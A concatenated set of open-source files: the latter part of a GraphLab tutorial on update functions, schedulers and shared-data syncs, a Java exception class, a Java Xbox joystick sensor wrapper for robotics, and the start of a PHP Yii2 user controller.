<h2> Update Function </h2>
<p>
Now we can begin to write the update function. The update function is a function that is applied to a vertex of the graph. The function will have read/write access to the data on the vertex, as well as all adjacent edges and vertices. You may specify more than one update
function, but we only need one for this application.
This is the standard
form of an update function. </p>
<p class="codebox"><span class="type">void</span> update_function<span class="operator">(</span>gl<span class="operator">::</span>iscope<span class="operator"> &</span>scope<span class="operator">,</span>
gl<span class="operator">::</span>icallback<span class="operator"> &</span>scheduler<span class="operator">,</span>
gl<span class="operator">::</span>ishared_data<span class="operator">*</span> shared_data<span class="operator">) {</span></p>
<table>
<p>The parameters are described here:</p>
<tr><td>scope</td><td>
The scope provides access to a local neighborhood of a graph.
The scope is centered on a particular vertex, ( <graphlabword>scope.vertex()</graphlabword> ), and includes
all adjacent edges and vertices.
<br>
All vertices are identified by an unsigned integer type <graphlabword>vertex_id_t</graphlabword>,
and all edges are similarly identified by an unsigned integer type <graphlabword>edge_id_t</graphlabword>.
GraphLab guarantees that all vertices are sequentially numbered from 0
(so the largest vertex id is |num_vertices| - 1), and similarly for edges.
All edges are directed. </td></tr>
<tr><td> scheduler </td><td>
There are two basic types of schedulers.
The synchronous / round_robin scheduler takes a single fixed set of tasks
and repeatedly executes them until some termination condition is achieved.
Using these schedulers generally means that the update function will not need use
this parameter.
<br>
The task schedulers, which include <graphlabword>fifo, multiqueue_fifo, priority,
clustered_priority</graphlabword>, all operate on the idea that executing an
update_function on a vertex can be thought of as a task. Update functions
can therefore inject new jobs into the task scheduler through this parameter.
</td></tr>
<tr><td> shared_data </td><td>
This provides access to the shared_data object. If no shared_data object
is provided, this could be NULL. We will describe the shared data object in greater detail later</td></tr>
</table>
<p>
Since the task scheduler is slightly more complex to use, in this example, we will demonstrate task schedulers.
</p>
<p>
Each update call on a vertex has the option of inserting new tasks into the scheduler: in this case, its neighbors. The algorithm terminates when there are no tasks remaining. There are other methods for terminating execution, such as registering a termination evaluator with the engine, but we are not going to describe that here.</p>
<p>First lets get the the id the vertex I am operating on, and get a reference to the vertex data on this vertex.</p>
<p class="codebox"> gl<span class="operator">::</span>vertex_id_t curv<span class="operator"> =</span> scope<span class="operator">.</span>vertex<span class="operator">();</span>
vertex_data<span class="operator"> &</span>curvdata<span class="operator"> =</span> scope<span class="operator">.</span>vertex_data<span class="operator">();</span></p>
<p>
Note that the function <graphlabword>scope.vertex_data()</graphlabword> returns a reference to the vertex data. Modifications to this reference will directly modify the data on the graph.</p>
<p>
Recall that the task is to set the color of this vertex to the color of the majority of the neighbors, so lets declare a variable which counts the number of red neighbors</p>
<p class = "codebox"> size_t numredneighbors<span class="operator"> =</span><span class="int"> 0</span><span class="operator">;</span></p>
<p>
Now I need to loop through all my neighboring vertices and count the number of red vertices. To do this I have to look at my edges. Recall that our graph construction is "bi-directed", therefore looking at just the in-edges of the vertex will provide me all my neighbors. This is done through the <graphlabword>in_edge_ids()</graphlabword> function </p>
<p class="codebox"></span><span class="flow"> for</span><span class="operator"> (</span>size_t i<span class="operator"> =</span><span class="int"> 0</span><span class="operator">;</span>i<span class="operator"> <</span> scope<span class="operator">.</span>in_edge_ids<span class="operator">().</span>size<span class="operator">(); ++</span>i<span class="operator">) {</span><span class="comment">
</span> size_t eid<span class="operator"> =</span> scope<span class="operator">.</span>in_edge_ids<span class="operator">()[</span>i<span class="operator">];</span></p>
<p>
Now the variable 'eid' contains the edge id of a particular incoming edge. The function <graphlabword>target(eid)</graphlabword> function allows to get the vertex at the destination of the edge 'eid'. The <graphlabword>source(eid)</graphlabword> function provides me with the source vertex. Since I am looking at in edges, the source vertex will be my adjacent vertices.</p>
<p class="codebox"> size_t sourcev <span class="operator">=</span> scope<span class="operator">.</span>source<span class="operator">(</span>eid<span class="operator">);</span></p>
<p>The <graphlabword>neighbor_vertex_data(vid)</graphlabword> function allow me to read the vertex data
of a vertex adjacent to the current vertex. If we have edge data, the function <graphlabword>edge_data(eid)</graphlabword> will return a reference to the edge data on the edge eid.
Since I am not going to need to change this data, I can just grab a const reference. You should always try to use const references whenever
you know that you will definitely not be changing the data, since
GraphLab could make additional optimizations for "read-only" operations. Similarly, you should never cast a constant reference to a regular reference. Modifications to constant references have undefined behavior. </p>
<p class="codebox"><span class="keyword"> const</span> vertex_data<span class="operator">&</span> nbrvertex<span class="operator"> =</span> scope<span class="operator">.</span>neighbor_vertex_data<span class="operator">(</span>sourcev<span class="operator">);</span><span class="comment">
// if red, add to our counter</span>
</span><span class="flow"> if</span><span class="operator"> (</span>nbrvertex<span class="operator">.</span>color<span class="operator">) ++</span>numredneighbors<span class="operator">;
}</span></p>
<p> Now we can decide on the new color of the vertex.
We either match the majority color, or in the case of no majority color, we flip a coin.
Basic random number support is provided through <graphlabword>gl::random</graphlabword>
there are 2 functions. <graphlabword>gl::random::rand01()</graphlabword> provides a random floating point
number between 0 and 1. <graphlabword>gl::random::rand_int(max)</graphlabword> provides a random integer
between 0 and max inclusive.
</p>
<p class="codebox"><span class="comment"> // get the total number of neighbors we have
</span> size_t numneighbors<span class="operator"> =</span> scope<span class="operator">.</span>in_edge_ids<span class="operator">().</span>size<span class="operator">();</span>
<span class="type"> bool</span> newcolor<span class="operator">;</span><span class="comment"> // my newcolor
</span><span class="type"> bool</span> isdeterministic<span class="operator"> =</span><span class="bool"> false</span><span class="operator">;</span><span class="comment"> // whether we flipped a coin to decide. We will
// see later why this is useful
</span><span class="flow"> if</span><span class="operator"> (</span>gl<span class="operator">::</span>random<span class="operator">::</span>rand01<span class="operator">() <</span><span class="type"> double</span><span class="operator">(</span>numredneighbors<span class="operator">) /</span> numneighbors<span class="operator">) {</span>
newcolor<span class="operator"> =</span><span class="bool"> true</span><span class="operator">;
}</span><span class="flow">
else</span><span class="operator"> {</span>
newcolor<span class="operator"> =</span><span class="bool"> false</span><span class="operator">;
}</span><span class="comment">
// if all my neighbors are black or all red, then this was
// a deterministic decision
</span><span class="flow"> if</span><span class="operator"> (</span>numneighbors<span class="operator"> ==</span> numredneighbors<span class="operator"> ||</span> numredneighbors<span class="operator"> ==</span><span class="int"> 0</span><span class="operator">) {</span>
isdeterministic<span class="operator"> =</span><span class="bool"> true</span><span class="operator">;
}</span><span class="flow">
else</span><span class="operator"> {</span>
isdeterministic<span class="operator"> =</span><span class="bool"> false</span><span class="operator">;
}</span>
</p>
<p> Now we have decided on the new color of the vertex, we can go ahead and update the value of the vertex. Once again recall that curvdata is a reference to the actual graph data. Therefore we can just modify it directly. </p>
<p class="codebox"><span class="type"> bool</span> flipped<span class="operator"> = (</span>newcolor<span class="operator"> !=</span> curvdata<span class="operator">.</span>color<span class="operator">);</span><span class="flow">
if</span><span class="operator"> (</span>flipped<span class="operator">) ++</span>curvdata<span class="operator">.</span>numflips<span class="operator">;</span>
curvdata<span class="operator">.</span>color<span class="operator"> =</span> newcolor<span class="operator">;</span></p>
<p> Now for the task creation algorithm. There are 2 basic cases. </p>
<p> <b>Case 1</b>: If I did not flip, then my neighbors will not be affected, it will be as if this vertex was never updated at all.
We therefore do not need to update my neighbors. </p>
<p> <b>Case 2</b>: If I flipped, all my neighbors could be affected, therefore loop through all my neighboring vertices and add them as tasks.
To add a task, I call <graphlabword>scheduler.add_task(gl::update_task, priority)</graphlabword>. The <graphlabword>gl::update_task</graphlabword> object takes a vertex id, and the update function to execute on. The priority argument is the priority of the task. This is only used by the priority schedulers.
This value should be strictly > 0. In this demo app, we don't really care about the priority, so we will just set it to 1.0. </p>
<p class="codebox"><span class="flow"> if</span><span class="operator"> (</span>flipped<span class="operator">) {</span><span class="flow">
for</span><span class="operator"> (</span>size_t i<span class="operator"> =</span><span class="int"> 0</span><span class="operator">;</span>i<span class="operator"> <</span> scope<span class="operator">.</span>in_edge_ids<span class="operator">().</span>size<span class="operator">(); ++</span>i<span class="operator">) {</span><span class="comment">
// get the neighboring vertex
</span> size_t eid<span class="operator"> =</span> scope<span class="operator">.</span>in_edge_ids<span class="operator">()[</span>i<span class="operator">];</span>
size_t sourcev<span class="operator"> =</span> scope<span class="operator">.</span>source<span class="operator">(</span>eid<span class="operator">);</span>
</span> scheduler<span class="operator">.</span>add_task<span class="operator">(</span>gl<span class="operator">::</span>update_task<span class="operator">(</span>sourcev<span class="operator">,</span> update_function<span class="operator">),</span><span class="float">
1.0</span><span class="operator">);
}
}</span></p>
<p> Now, there is another special case. If flipped myself on a random number, then I could switch colors when updating myself again. Therefore I should try again and update myself again in the future </p>
<p class="codebox"><span class="flow"> if</span><span class="operator"> (</span>isdeterministic<span class="operator"> == </span><span class="bool">false</span><span class="operator">) {</span>
scheduler<span class="operator">.</span>add_task<span class="operator">(</span>gl<span class="operator">::</span>update_task<span class="operator">(</span>curv<span class="operator">,</span> update_function<span class="operator">),</span><span class="float">
1.0</span><span class="operator">);
}
}</span></p>
<h2> Shared Data Manager </h2>
<p>
The shared data manager serves two roles. Firstly, it provides access to data which is globally accessible through all update functions, and secondly, it provides the capability to compute aggregations of all graph data. The first capability may not appear to be useful in the shared memory setting since one could simply define global variables. However, using the shared data manager, allows GraphLab to manage these "global variables" in a platform independent fashion; such as in the distributed setting.
</p><p>
For this application, say if we are interested in having an incremental counter which provides
the total number of flips executed so far, as well as computing the proportion of red vertices in the graph.
we can do this via the shared data manager's Sync mechanism. </p>
<p>The Sync mechanism allows you to build a 'Fold / Reduce' operation
across all the vertices in the graph, and store the results in the
Shared Data object. The Shared Data table is essentially a big table
mapping integer ids -> arbitrary data types</p>
<p>First we need to define the entries of the table. The data we need are:
<ul>
<li> the total number of vertices (constant) </li>
<li> red vertex proportion (synced) </li>
<li> the total number of flips (synced) </li>
</ul>
We will therefore define the following 3 entries in the Shared Data table. </p>
<p class="codebox"><span class="keyword">const</span> size_t NUM_VERTICES<span class="operator"> =</span><span class="int"> 0</span><span class="operator">;</span><span class="keyword">
const</span> size_t RED_PROPORTION<span class="operator"> =</span><span class="int"> 1</span><span class="operator">;</span><span class="keyword">
const</span> size_t NUM_FLIPS<span class="operator"> =</span><span class="int"> 2</span><span class="operator">;</span><span class="comment"></p>
<h3> NUM_VERTICES </h3>
<p>
The number of vertices in the graph is a constant, and will not be changed through out execution of the GraphLab program.
We can set this value as a constant in the Shared Data Manager by calling the <graphlabword>shared_data.set_constant(entryid, value)</graphlabword> function. Every value in the shared_data table is a special data type called
<graphlabword>graphlab::any</graphlabword> (which is derived and modified from boost::any).
This allows you to store arbitrary datatypes into the shared data table,
with the minor caveat that the user must know <b> exactly </b> what is the data
type stored at each entry. It is therefore good
practice to explicitly state the data type of the value you are storing
size_t here). You will see this theme alot in all uses of the shared
data table.
</p>
<p class="codebox"> shared_data<span class="operator">.</span>set_constant<span class="operator">(</span>NUM_VERTICES<span class="operator">, (</span>size_t<span class="operator">)(</span>DIM<span class="operator"> *</span> DIM<span class="operator">));</span></p>
<p> To read the value of a constant from the shared_data table, we use the <graphlabword>shared_data.get_constant(entryid)</graphlabword> function.
This function returns an <graphlabword>any</graphlabword>, and the type must be known to read the value.
</p>
<p class="codebox">size_t numvertices<span class="operator"> =</span> shared_data<span class="operator">.</span>get_constant<span class="operator">(</span>NUM_VERTICES<span class="operator">).</span>as<span class="operator"><</span>size_t<span class="operator">>();</span></p>
<h3> RED_PROPORTION </h3>
<p>
A sync is defined by a pair of functions, a <graphlabword>reducer</graphlabword>, and an <graphlabword>apply</graphlabword>
The reducer is exactly a fold over all the vertices, and the apply
takes the final value at the end of the reduce, and performs whatever
transformation it needs, before writing it into the Shared Data table.
For instance, an L2 sum can be computed by having the reducer add the
squares of the values at each vertex, then the apply function performs
the square root.
</p>
<p>
We will use this to implement the RED_PROPORTION sync. The way we will
implement this is to use the reducer to count the number of Red
vertices. The apply function will then divide the result by the value in
the NUM_VERTICES table entry<p>
The reducer is a function which takes 4 parameters:
<p class="codebox"><span class="type">void</span> reduce_red_proportion<span class="operator">(</span>size_t index<span class="operator">,</span><span class="keyword">
const</span> gl<span class="operator">::</span>ishared_data<span class="operator">&</span> shared_data<span class="operator">,</span>
gl<span class="operator">::</span>iscope<span class="operator">&</span> scope<span class="operator">,</span>
graphlab<span class="operator">::</span>any<span class="operator">&</span> accumulator<span class="operator">) {</span>
</span></p>
<table>
<tr><td>index </td><td>
This is the entry of the shared data table
corresponding to this reduce. In this case, we can gaurantee that index will always be equal to RED_PROPORTION </td></tr>
<tr><td>shared_data</td><td> A reference to the shared data object </td></tr>
<tr><td>scope </td><td> The scope on the vertex we are currently accessing </td></tr>
<tr><td>accumulator </td><td> The input and output of the fold/reduce operation.</td></tr>
</table>
</span>
<p>
In this reducer, we will simply increment the accumulator if the color of the vertex is red.
</p>
<p class="codebox"><span class="flow"> if</span><span class="operator"> (</span>scope<span class="operator">.</span>vertex_data<span class="operator">().</span>color<span class="operator">)</span> accumulator<span class="operator">.</span>as<span class="operator"><</span><span class="type">double</span><span class="operator">>() +=</span><span class="float"> 1.0</span><span class="operator">;
}</span></p>
<p>The apply function takes the followng 4 parameters </p>
<p class="codebox"><span class="type"> void</span> apply_red_proportion<span class="operator">(</span>size_t index<span class="operator">,</span><span class="keyword">
const</span> gl<span class="operator">::</span>ishared_data<span class="operator">&</span> shared_data<span class="operator">,</span>
graphlab<span class="operator">::</span>any<span class="operator">&</span> current_data<span class="operator">,</span><span class="keyword">
const</span> graphlab<span class="operator">::</span>any<span class="operator">&</span> new_data<span class="operator">) {</span></p>
<table>
<tr><td>index</td><td> This is the entry of the shared data table
corresponding to this reduce. In this case, we can gaurantee that index will always be equal to RED_PROPORTION</td></tr>
<tr><td> shared_data</td><td> A reference to the shared data object</td></tr>
<tr><td> current_data</td><td> The current (old) value in the shared data table entry.
Overwriting this will update the shared data table entry</td></tr>
<tr><td> new_data</td><td> The result of the reduce operation.</td></tr>
</table>
<p>The reduced result in new_data, will be the count of the number of red vertices. We can get the total number of vertices from the NUM_VERTICES entry of the shared data table, and compute the proportion of red vertices by dividing the number of red vertices by the total number of vertices. </p>
<p class="codebox"><span class="comment"> // get the number of vertices from the constant section of the shared data
</span> size_t numvertices<span class="operator"> =</span> shared_data<span class="operator">.</span>get_constant<span class="operator">(</span>NUM_VERTICES<span class="operator">).</span>as<span class="operator"><</span>size_t<span class="operator">>();</span><span class="comment">
// new_data is the reduced result, which is the number of red vertices
</span><span class="type"> double</span> numred<span class="operator"> =</span> new_data<span class="operator">.</span>as<span class="operator"><</span><span class="type">double</span><span class="operator">>();</span><span class="comment">
// compute the proportion
</span><span class="type"> double</span> proportion<span class="operator"> =</span> numred<span class="operator"> /</span> numvertices<span class="operator">;</span><span class="comment">
// here we can output something as a progress monitor
</span> std<span class="operator">::</span>cout<span class="operator"> <<</span><span class="string"> "Red Proportion: "</span><span class="operator"> <<</span> proportion<span class="operator"> <<</span> std<span class="operator">::</span>endl<span class="operator">;</span><span class="comment">
// write the final result into the shared data table
</span> current_data<span class="operator"> = (</span><span class="type">double</span><span class="operator">)</span>proportion<span class="operator">;
}</span></p>
<p> Now that both reduce and apply functions have been defined, we can create the entry in the shared data table by calling
<p class="codebox"> shared_data<span class="operator">.</span>set_sync<span class="operator">(</span>RED_PROPORTION<span class="operator">,</span><span class="comment"> // the entry we are creating
</span> reduce_red_proportion<span class="operator">,</span><span class="comment"> // the reduce function
</span> apply_red_proportion<span class="operator">,</span><span class="comment"> // the apply function
</span><span class="type"> double</span><span class="operator">(</span><span class="int">0</span><span class="operator">),</span><span class="comment"> // the initial value for the fold/reduce
</span><span class="float"> 100</span><span class="operator">);</span><span class="comment"> // syncing frequency in milliseconds.
// The highest effective syncing frequency is 0.1 sec (100ms)</span></p>
<h3> NUM_FLIPS </h3>
<p>
GraphLab provides a number of predefined syncing operations which allow
simple reductions / applies to be implemented very quickly. For instance, computing sums, sums of squares, etc.
We will implement the NUM_FLIPS entry using one of these predefined
operations. Since the vertex data could be any arbitrary type, the predefined operations typically require the user to
provide a simple function which extracts the information of interest from the vertex data.
In this case, we are interested the numflips field.
</p>
<p class="codebox">size_t get_flip<span class="operator">(</span><span class="keyword">const</span> vertex_data<span class="operator"> &</span>v<span class="operator">) {</span><span class="flow">
return</span> v<span class="operator">.</span>numflips<span class="operator">;
}</span></p>
<p>To create the sync, we use the <graphlabword>set_sync</graphlabword> function as well, but using functions from <graphlabword>sync_ops</graphlabword> and <graphlabword>apply_ops</graphlabword>. In this case, our reduction function is a simply "sum", while our apply function should do nothing more than copy the result of the reduction into the shared data table. </p>
<p class="codebox"> shared_data<span class="operator">.</span>set_sync<span class="operator">(</span>NUM_FLIPS<span class="operator">,</span>
gl<span class="operator">::</span>ishared_data<span class="operator">::</span>sync_ops<span class="operator">::</span>sum<span class="operator"><</span>size_t<span class="operator">,</span> get_flip<span class="operator">>,</span>
gl<span class="operator">::</span>ishared_data<span class="operator">::</span>apply_ops<span class="operator">::</span>identity<span class="operator"><</span>size_t<span class="operator">>,</span>
size_t<span class="operator">(</span><span class="int">0</span><span class="operator">),</span><span class="float">
100</span><span class="operator">);</span></p>
<h2> Main </h2>
The Main function where everything begins. Here, we will demonstrate the minimal code needed to start a GraphLab job using all the parts we defined above.
We will create a multithreaded engine running on 2 CPUs using the FIFO task scheduler.
The demo.cpp file has a more complete version which include command line parameter parsing.
<p class="codebox"><span class="type">int</span><span class="keyword"> main</span><span class="operator">(</span><span class="type">int</span> argc<span class="operator">,</span><span class="type"> char</span><span class="operator"> *</span>argv<span class="operator">[]) {</span><span class="comment">
// create the graph and shared data objects
</span> graph_type graph<span class="operator">;</span>
gl<span class="operator">::</span>thread_shared_data shared_data<span class="operator">;</span><span class="comment">
// creating a DIM * DIM graph
</span><span class="keyword"> const</span> size_t DIM<span class="operator"> =</span><span class="int"> 10</span><span class="operator">;</span><span class="comment">
// call create_graph to create the graph
</span> create_graph<span class="operator">(</span>graph<span class="operator">,</span> DIM<span class="operator">);</span><span class="comment">
// call create shared_data to create the shared data
</span> create_shared_data<span class="operator">(</span>shared_data<span class="operator">,</span> DIM<span class="operator">);</span><span class="comment">
// create the engine
</span> gl<span class="operator">::</span>iengine<span class="operator"> *</span>engine<span class="operator"> =</span>
new_engine<span class="operator">(</span><span class="string">"multithreaded"</span><span class="operator">,</span><span class="comment"> // engine type. multithreaded/sequential
</span><span class="string"> "fifo"</span><span class="comment"> // scheduler type
</span><span class="string"> "edge"</span><span class="operator">,</span><span class="comment"> // scope consistency type (vertex/edge/full)
</span> graph<span class="operator">,</span><span class="comment"> // the graph it operates on
</span><span class="int"> 2</span><span class="operator">);</span><span class="comment"> // number of processors
// set the shared data object
</span> engine<span class="operator">-></span>set_shared_data<span class="operator">(&</span>shared_data<span class="operator">);</span><span class="comment">
// since we are using a task scheduler, we need to
// to create tasks. otherwise the engine will just terminate immediately
// there are DIM * DIM vertices
</span><span class="flow"> for</span><span class="operator"> (</span>size_t i<span class="operator"> =</span><span class="int"> 0</span><span class="operator">;</span>i<span class="operator"> <</span> DIM<span class="operator"> *</span> DIM<span class="operator">; ++</span>i<span class="operator">) {</span>
engine<span class="operator">-></span>get_scheduler<span class="operator">().</span>add_task<span class="operator">(</span>
gl<span class="operator">::</span>update_task<span class="operator">(</span>i<span class="operator">,</span> update_function<span class="operator">),</span><span class="float">
1.0</span><span class="operator">);
}</span><span class="comment">
// begin executing the engine
// this function will only return when all tasks are done
</span> engine<span class="operator">-></span>start<span class="operator">();</span><span class="comment">
// since it is possible for the engine to terminate in between syncs
// if we want to get correct values for the syncs we should run them again
// we can do his with
</span> shared_data<span class="operator">.</span>sync<span class="operator">(</span>NUM_FLIPS<span class="operator">);</span>
shared_data<span class="operator">.</span>sync<span class="operator">(</span>RED_PROPORTION<span class="operator">);</span><span class="comment">
// Do whatever you want with the graph data / shared data</span>
<span class="operator">}</span>
</p>
<h2> Comments on Engine Options </h2>
<h3> Scope Model </h3>
<p>
When an update function is executed on a vertex, it can access all graph data
on adjacent edges and adjacent vertices. The different scoping consistency
models provide different data consistency guarantees when accessing
graph data. There are three scoping models, vertex, edge, and full.</p>
<h4> Vertex Consistency </h4>
<p>
Vertex consistency is the weakest consistency model, and also the fastest
(lowest contention). The vertex consistency model
only guarantees that the Update Function can read and write to the current
vertex without experiencing data races. Reading or writing to adjacent edges or
adjacent vertices could result in inconsistent data. Data on adjacent edges
and vertices may also change between consecutive reads within a single Update
Function call.
</p>
<h4> Edge Consistency </h4>
<p>
The edge consistency model guarantees that the Update Function can read and
write to the current vertex as all as all adjacent edges without experiencing
data races. In addition, the Update Function can also made consistent reads
from adjacent vertices.
</p>
<h4> Full Consistency </h4>
<p>
The full consistency model guarantees that the Update Function can read and
write to the current vertex, as well as all adjacent edges and vertices in a
consistent fashion. This model experiences the highest amount of
contention and provides the lowest level of parallelism</p>
<h4> Choosing a consistency model </h4>
<p>
The user should try to pick the lowest consistency model which satisfies the
needs of the algorithm. For instance, in this demo application,
since the update function only requires reading of
neighboring vertex data, the edge_consistency model is guaranteed to have
sequential consistency, and the algorithm is therefore guaranteed to be
correct (assuming GraphLab is bug-free) if executed with the edge consistency
model or the full consistency model.
</p>
<h3> Scheduler Type </h3>
GraphLabe provides eight schedulers. The Synchronous scheduler, the Round-robin
scheduler, five task schedulers, and the Splash scheduler.
<h4> Task Schedulers</h4>
All four task schedulers behave similarly as in the demo application, but each
have different set of scheduling guarantees.
<ul>
<li> <b>FIFO scheduler (fifo)</b>: Implements a strict single FIFO queue of tasks </li>
<li> <b>Multiqueue FIFO scheduler (multiqueue_fifo)</b>: Uses multiple load balanced
FIFO queues to decrease contention. This tends to have better performance over
FIFO, but loses the "First-in-first-out" guarantees. </li>
<li> <b>Sweep scheduler (sweep)</b>: partitions the vertices among the processors.
Each processor than loops through all the vertices in its partition, executing all
tasks encountered. </li>
<li> <b>Priority scheduler (priority)</b>: Implements a priority queue over tasks.
Executes tasks in priority order. </li>
<li> <b>Clustered Priority scheduler (clustered_priority)</b>: partitions the graph
into a collection of subgraphs, and builds a priority queue over subgraphs.
tasks within a subgraph are executed in arbitrary order. The partitioning
methods are "metis","bfs" and "random". Metis provides the best partitioning,
but could be extremely costly for large graphs.</li>
</ul>
</body>
<h4>Synchronous Scheduler</h4>
<h4>Round Robin Scheduler</h4>
<h4>Splash Scheduler</h4>
</html>
| bsd-3-clause |
conormcd/exemplar | src/com/mcdermottroe/exemplar/input/InputException.java | 3051 | // vim:filetype=java:ts=4
/*
Copyright (c) 2005, 2006, 2007
Conor McDermottroe. All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:
1. Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
3. Neither the name of the author nor the names of any contributors to
the software may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
HOLDERS OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA,
OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
package com.mcdermottroe.exemplar.input;
import com.mcdermottroe.exemplar.Exception;
/** An exception that can be thrown in response to any error in the input phase
of the program.
@author Conor McDermottroe
@since 0.1
*/
public class InputException
extends Exception
{
/** InputException without a description. */
public InputException() {
super();
}
/** InputException with a description.
@param message The description of the exception.
*/
public InputException(String message) {
super(message);
}
/** InputException with a description and a reference to an exception which
caused it.
@param message The description of the exception.
@param cause The cause of the exception.
*/
public InputException(String message, Throwable cause) {
super(message, cause);
}
/** InputException with a reference to the exception that caused it.
@param cause The cause of the exception.
*/
public InputException(Throwable cause) {
super(cause);
}
/** {@inheritDoc} */
public InputException getCopy() {
InputException copy;
String message = getMessage();
Throwable cause = getCause();
if (message != null && cause != null) {
copy = new InputException(message, cause);
} else if (message != null) {
copy = new InputException(message);
} else if (cause != null) {
copy = new InputException(cause);
} else {
copy = new InputException();
}
copy.setStackTrace(copyStackTrace(getStackTrace()));
return copy;
}
}
| bsd-3-clause |
grt192/grtframework | src/sensor/GRTXBoxJoystick.java | 6230 | package sensor;
import core.Sensor;
import edu.wpi.first.wpilibj.Joystick;
import event.events.ButtonEvent;
import event.events.XboxJoystickEvent;
import event.listeners.ButtonListener;
import event.listeners.XboxJoystickListener;
import java.util.Enumeration;
import java.util.Vector;
/**
* Wrapper class for an XBox controller.
*
* @author ajc
*/
public class GRTXBoxJoystick extends Sensor {
/**
* Keys of data
*/
public static final int KEY_BUTTON_0 = 0;
public static final int KEY_BUTTON_1 = 1;
public static final int KEY_BUTTON_2 = 2;
public static final int KEY_BUTTON_3 = 3;
public static final int KEY_BUTTON_4 = 4;
public static final int KEY_BUTTON_5 = 5;
public static final int KEY_BUTTON_6 = 6;
public static final int KEY_BUTTON_7 = 7;
public static final int KEY_BUTTON_8 = 8;
public static final int KEY_BUTTON_9 = 9;
public static final int KEY_LEFT_X = 10;
public static final int KEY_LEFT_Y = 11;
public static final int KEY_RIGHT_X = 12;
public static final int KEY_RIGHT_Y = 13;
public static final int KEY_JOYSTICK_ANGLE = 14;
public static final int KEY_TRIGGER = 15;
public static final int KEY_PAD = 16;
private static final int NUM_DATA = 17;
private static final int NUM_OF_BUTTONS = 10;
/**
* State definitions
*/
public static final double PRESSED = TRUE;
public static final double RELEASED = FALSE;
private final Joystick joystick;
private final Vector buttonListeners;
private final Vector joystickListeners;
/**
* Instantiates a new GRTXBoxJoystick.
*
* @param channel USB channel joystick is plugged into
* @param pollTime how often to poll the joystick
* @param name this joystick's name
*/
public GRTXBoxJoystick(int channel, int pollTime, String name) {
super(name, pollTime, NUM_DATA);
joystick = new Joystick(channel);
buttonListeners = new Vector();
joystickListeners = new Vector();
}
protected void poll() {
for (int i = 0; i < NUM_OF_BUTTONS; i++)
//if we measure true, this indicates pressed state
setState(i, joystick.getRawButton(i) ? PRESSED : RELEASED);
setState(KEY_LEFT_X, joystick.getX());
setState(KEY_LEFT_Y, joystick.getY());
setState(KEY_RIGHT_X, joystick.getRawAxis(4));
setState(KEY_RIGHT_Y, joystick.getRawAxis(5));
setState(KEY_JOYSTICK_ANGLE, joystick.getDirectionRadians());
setState(KEY_TRIGGER, joystick.getZ());
setState(KEY_PAD, joystick.getRawAxis(6));
}
protected void notifyListeners(int id, double newDatum) {
if (id < NUM_OF_BUTTONS) {
//ID maps directly to button ID
ButtonEvent e = new ButtonEvent(this, id, newDatum == PRESSED);
if (newDatum == PRESSED) //true
for (Enumeration en = buttonListeners.elements(); en.
hasMoreElements();)
((ButtonListener) en.nextElement()).buttonPressed(e);
else
for (Enumeration en = buttonListeners.elements(); en.
hasMoreElements();)
((ButtonListener) en.nextElement()).buttonReleased(e);
} else { //we are now a joystick
//only reach here if not a button
XboxJoystickEvent e = new XboxJoystickEvent(this, id, newDatum);
//call various events based on which datum we are
switch (id) {
case KEY_LEFT_X: {
for (Enumeration en = joystickListeners.elements(); en.
hasMoreElements();)
((XboxJoystickListener) en.nextElement()).
leftXAxisMoved(e);
break;
}
case KEY_LEFT_Y: {
for (Enumeration en = joystickListeners.elements(); en.
hasMoreElements();)
((XboxJoystickListener) en.nextElement()).
leftYAxisMoved(e);
break;
}
case KEY_RIGHT_X: {
for (Enumeration en = joystickListeners.elements(); en.
hasMoreElements();)
((XboxJoystickListener) en.nextElement()).
rightXAxisMoved(e);
break;
}
case KEY_RIGHT_Y: {
for (Enumeration en = joystickListeners.elements(); en.
hasMoreElements();)
((XboxJoystickListener) en.nextElement()).
rightYAxisMoved(e);
break;
}
case KEY_JOYSTICK_ANGLE: {
for (Enumeration en = joystickListeners.elements(); en.
hasMoreElements();)
((XboxJoystickListener) en.nextElement()).
leftAngleChanged(e);
break;
}
case KEY_TRIGGER: {
for (Enumeration en = joystickListeners.elements(); en.
hasMoreElements();)
((XboxJoystickListener) en.nextElement()).
triggerMoved(e);
break;
}
case KEY_PAD: {
for (Enumeration en = joystickListeners.elements(); en.
hasMoreElements();)
((XboxJoystickListener) en.nextElement()).padMoved(e);
break;
}
}
}
}
public void addButtonListener(ButtonListener b) {
buttonListeners.addElement(b);
}
public void removeButtonListener(ButtonListener b) {
buttonListeners.removeElement(b);
}
public void addJoystickListener(XboxJoystickListener l) {
joystickListeners.addElement(l);
}
public void removeJoystickListener(XboxJoystickListener l) {
joystickListeners.removeElement(l);
}
}
| bsd-3-clause |
MovieDogBall/Testwork | vendor/core/yii2-users-module/controllers/frontend/UserController.php | 4168 | <?php
namespace core\users\controllers\frontend;
use core\fileapi\actions\UploadAction as FileAPIUpload;
use core\users\models\frontend\Email;
use core\users\models\frontend\PasswordForm;
use core\users\models\Profile;
use core\users\Module;
use yii\filters\AccessControl;
use yii\web\Controller;
use yii\web\Response;
use yii\widgets\ActiveForm;
use Yii;
/**
* Frontend controller for authenticated users.
*/
class UserController extends Controller
{
/**
* @inheritdoc
*/
public function behaviors()
{
return [
'access' => [
'class' => AccessControl::className(),
'rules' => [
[
'allow' => true,
'roles' => ['@']
]
]
]
];
}
/**
